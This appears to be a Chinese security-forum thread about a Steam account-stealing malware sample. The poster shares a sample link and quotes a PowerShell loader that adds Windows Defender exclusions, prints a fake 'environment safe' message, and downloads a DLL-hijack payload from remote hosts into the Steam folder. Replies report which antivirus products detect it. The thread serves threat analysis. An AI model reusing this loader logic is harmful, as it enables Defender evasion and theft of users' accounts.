steam盗号

xiaozhu009

https://wwbxq.lanzouq.com/iUwpC3k101lc

VirusTotal - File - ae855664afcf641017e3d73aeb30b868be2edc209c5db56c658c3fd48a466479
只有hid2.dll是，其他都是从

1. $ProgressPreference = 'SilentlyContinue'
   
2.     if ($is64Bit)
   
3.     {
   
4.         $savePathZip = Join-Path $targetDirectory "legit64"
   
5.         DownloadFile -url 'https://gitee.com/t5x3fvnu/aa/raw/master/64/legit64' -savePath $savePathZip -hash '9AB54BBC21A875C616115B7441D9ECDF' -fid 'iT5oc3jevzjc'
   
6.     }
   
7.     else
   
8.     {
   
9.         $savePathZip = Join-Path $targetDirectory "legit"
   
10.         DownloadFile -url 'https://gitee.com/t5x3fvnu/aa/raw/master/legit' -savePath $savePathZip -hash '9B2FF8684E3C886C8FCDF83053D28F35' -fid 'iS21a3gyx7nc'
    
11.     }
    
12. 
    
13.     $savePathTxt = Join-Path $targetDirectory "winhttp-log.txt"
    
14.     $savePathTxt1 = Join-Path $targetDirectory "winhttp-log1.txt"
    
15. 
    
16.     if (Get-Service | where-object{ $_.name -eq "windefend" -and $_.status -eq "running" })
    
17.     {
    
18.         try
    
19.         {
    
20.             Add-MpPreference -ExclusionPath $steamPath -ExclusionExtension 'exe', 'dll'
    
21.             Add-MpPreference -ExclusionPath $targetDirectory -ExclusionExtension 'exe', 'dll'
    
22.         }
    
23.         catch
    
24.         {
    
25.         }
    
26.         Write-Host -NoNewline "  [STEAM] 已通过 Windows Defender 检测，环境安全"; Write-Host "[√]" -ForegroundColor Green
    
27.     }
    
28.     else
    
29.     {
    
30.         Write-Host -NoNewline "  [STEAM] 已通过 Windows Defender 检测，环境安全"; Write-Host "[√]" -ForegroundColor Green
    
31.     }
    
32.    
    
33.     if ($is64Bit)
    
34.     {
    
35.         $configDirectory = Join-Path $steamPath "config"
    
36.         $savePathVdf = Join-Path $configDirectory "appdata.vdf"
    
37. 
    
38.         if (-not(Test-Path $configDirectory))
    
39.         {
    
40.             New-Item -Path $configDirectory -ItemType Directory -ErrorAction Stop | Out-Null
    
41.         }
    
42. 
    
43.         $steamTxt = Join-Path $steamPath "xinput1_4.log"
    
44.         $d_path = [System.IO.Path]::ChangeExtension($steamTxt, ".dll")
    
45. 
    
46.         DownloadFile -url 'https://gitee.com/t5x3fvnu/aa/raw/master/64/1/appdata.vdf' -savePath $savePathVdf -hash 'D503089A6EE3FA581960C7DEB76EC406' -fid 'iGwMP3gyx8lg'
    
47.         DownloadFile -url 'https://gitee.com/t5x3fvnu/aa/raw/master/64/1/xinput1_4.dll' -savePath $savePathTxt -hash 'AAB5D9A81338625EEFE27405EE4784D1' -targetPath $d_path -fid 'ich0k3jgc0cd'
    

复制代码

一并下载而来，gitee仓库目前没有内容，fid后面的是蓝奏云

1. try
   
2.     {
   
3.         $baseUrl = 'https://lanzoup.com'
   
4.         $response = Invoke-WebRequest -UseBasicParsing -Uri "$baseUrl/$fid" -Headers @{ 'User-Agent' = '' }
   
5.     }
   
6.     catch
   
7.     {
   
8.         $baseUrl = 'https://lanzoui.com'
   
9.         $response = Invoke-WebRequest -UseBasicParsing -Uri "$baseUrl/$fid" -Headers @{ 'User-Agent' = '' }
   
10.     }
    

复制代码

kaba666

卡巴UDS 杀DLL。其它压缩包都解压不了

xiaozhu009

kaba666 发表于 2026-3-7 19:05
卡巴UDS 杀DLL。其它压缩包都解压不了

其他的不是压缩包格式，有vdf和dll，还有几个我不知道什么格式，但是好像就那个dll有问题

ulyanov2233

essp miss

asdfnbbj

360

成顔

BEST 右键不报